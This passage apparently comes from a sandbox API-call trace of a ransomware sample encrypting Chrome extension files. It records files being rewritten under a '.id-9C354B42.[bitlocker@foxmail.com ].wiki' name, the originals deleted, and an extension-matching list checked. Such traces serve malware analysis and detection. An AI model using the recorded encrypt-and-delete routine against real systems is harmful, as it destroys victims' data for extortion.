data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.118] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.118] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.118] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.119] GetLastError () returned 0x0 [0178.119] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x52a, lpOverlapped=0x0) returned 1 [0178.121] WriteFile (in: hFile=0x160, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x530, lpOverlapped=0x0) returned 1 [0178.122] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.122] WriteFile (in: hFile=0x160, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.122] SetEndOfFile (hFile=0x160) returned 1 [0178.122] CloseHandle (hObject=0x160) returned 1 [0178.122] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.122] SetEndOfFile (hFile=0x19c) returned 1 [0178.275] CloseHandle (hObject=0x19c) returned 1 [0178.378] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.378] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json")) returned 1 [0178.378] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.378] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.378] lstrlenW (lpString=".doc") returned 4 [0178.378] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.378] lstrlenW (lpString=".docx") returned 5 [0178.378] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.379] lstrlenW (lpString=".pdf") returned 4 [0178.379] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.379] lstrlenW (lpString=".xls") returned 4 [0178.379] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.379] lstrlenW (lpString=".xlsx") returned 5 [0178.379] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.379] lstrlenW (lpString=".ppt") returned 4 [0178.379] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.379] lstrlenW (lpString=".zip") returned 4 [0178.379] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.379] lstrlenW (lpString=".rar") returned 4 [0178.379] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.379] lstrlenW (lpString=".bz2") returned 4 [0178.379] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.379] lstrlenW (lpString=".7z") returned 3 [0178.379] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.379] lstrlenW (lpString=".dbf") returned 4 [0178.379] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.379] lstrlenW (lpString=".1cd") returned 4 [0178.379] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.379] lstrlenW (lpString=".jpg") returned 4 [0178.379] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.379] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.379] lstrlenW (lpString=".doc") returned 4 [0178.379] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.380] lstrlenW (lpString=".docx") returned 5 [0178.380] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.380] lstrlenW (lpString=".pdf") returned 4 [0178.380] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.380] lstrlenW (lpString=".xls") returned 4 [0178.380] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.380] lstrlenW (lpString=".xlsx") returned 5 [0178.380] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.380] lstrlenW (lpString=".ppt") returned 4 [0178.380] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.380] lstrlenW (lpString=".zip") returned 4 [0178.380] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.380] lstrlenW (lpString=".rar") returned 4 [0178.380] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.380] lstrlenW (lpString=".bz2") returned 4 [0178.380] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.380] lstrlenW (lpString=".7z") returned 3 [0178.380] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.380] lstrlenW (lpString=".dbf") returned 4 [0178.380] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.380] lstrlenW (lpString=".1cd") returned 4 [0178.380] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 143 [0178.380] lstrlenW (lpString=".jpg") returned 4 [0178.380] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.381] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.381] lstrlenW (lpString="messages.json") returned 13 [0178.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.501] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=705) returned 1 [0178.501] CloseHandle (hObject=0x19c) returned 1 [0178.501] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json")) returned 0x2020 [0178.501] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.501] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.501] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.502] GetLastError () returned 0x0 [0178.502] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x2c1, lpOverlapped=0x0) returned 1 [0178.504] WriteFile (in: hFile=0x2e0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0178.505] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.505] WriteFile (in: hFile=0x2e0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.505] SetEndOfFile (hFile=0x2e0) returned 1 [0178.505] CloseHandle (hObject=0x2e0) returned 1 [0178.505] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.505] SetEndOfFile (hFile=0x19c) returned 1 [0178.506] CloseHandle (hObject=0x19c) returned 1 [0178.506] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.506] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json")) returned 1 [0178.507] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.507] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.507] lstrlenW (lpString=".doc") returned 4 [0178.507] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.507] lstrlenW (lpString=".docx") returned 5 [0178.507] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.507] lstrlenW (lpString=".pdf") returned 4 [0178.507] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.507] lstrlenW (lpString=".xls") returned 4 [0178.507] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.507] lstrlenW (lpString=".xlsx") returned 5 [0178.507] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.507] lstrlenW (lpString=".ppt") returned 4 [0178.507] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.507] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.507] lstrlenW (lpString=".zip") returned 4 [0178.507] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.507] lstrlenW (lpString=".rar") returned 4 [0178.507] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.507] lstrlenW (lpString=".bz2") returned 4 [0178.507] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.507] lstrlenW (lpString=".7z") returned 3 [0178.507] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.507] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.507] lstrlenW (lpString=".dbf") returned 4 [0178.508] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.508] lstrlenW (lpString=".1cd") returned 4 [0178.508] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.508] lstrlenW (lpString=".jpg") returned 4 [0178.508] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.508] lstrlenW (lpString=".doc") returned 4 [0178.508] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.508] lstrlenW (lpString=".docx") returned 5 [0178.508] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.508] lstrlenW (lpString=".pdf") returned 4 [0178.508] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.508] lstrlenW (lpString=".xls") returned 4 [0178.508] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.508] lstrlenW (lpString=".xlsx") returned 5 [0178.508] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.508] lstrlenW (lpString=".ppt") returned 4 [0178.508] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.508] lstrlenW (lpString=".zip") returned 4 [0178.508] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.508] lstrlenW (lpString=".rar") returned 4 [0178.508] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.508] lstrlenW (lpString=".bz2") returned 4 [0178.508] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.509] lstrlenW (lpString=".7z") returned 3 [0178.509] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.509] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.509] lstrlenW (lpString=".dbf") returned 4 [0178.509] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.509] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.509] lstrlenW (lpString=".1cd") returned 4 [0178.509] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.509] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 155 [0178.509] lstrlenW (lpString=".jpg") returned 4 [0178.509] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.509] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.509] lstrlenW (lpString="messages.json") returned 13 [0178.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.510] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=663) returned 1 [0178.510] CloseHandle (hObject=0x19c) returned 1 [0178.510] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json")) returned 0x2020 [0178.510] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.510] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.510] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.518] GetLastError () returned 0x0 [0178.518] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x297, lpOverlapped=0x0) returned 1 [0178.520] WriteFile (in: hFile=0x2e0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0178.521] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.521] WriteFile (in: hFile=0x2e0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.521] SetEndOfFile (hFile=0x2e0) returned 1 [0178.521] CloseHandle (hObject=0x2e0) returned 1 [0178.521] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.521] SetEndOfFile (hFile=0x19c) returned 1 [0178.522] CloseHandle (hObject=0x19c) returned 1 [0178.522] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.522] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json")) returned 1 [0178.523] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 155 [0178.523] lstrlenW 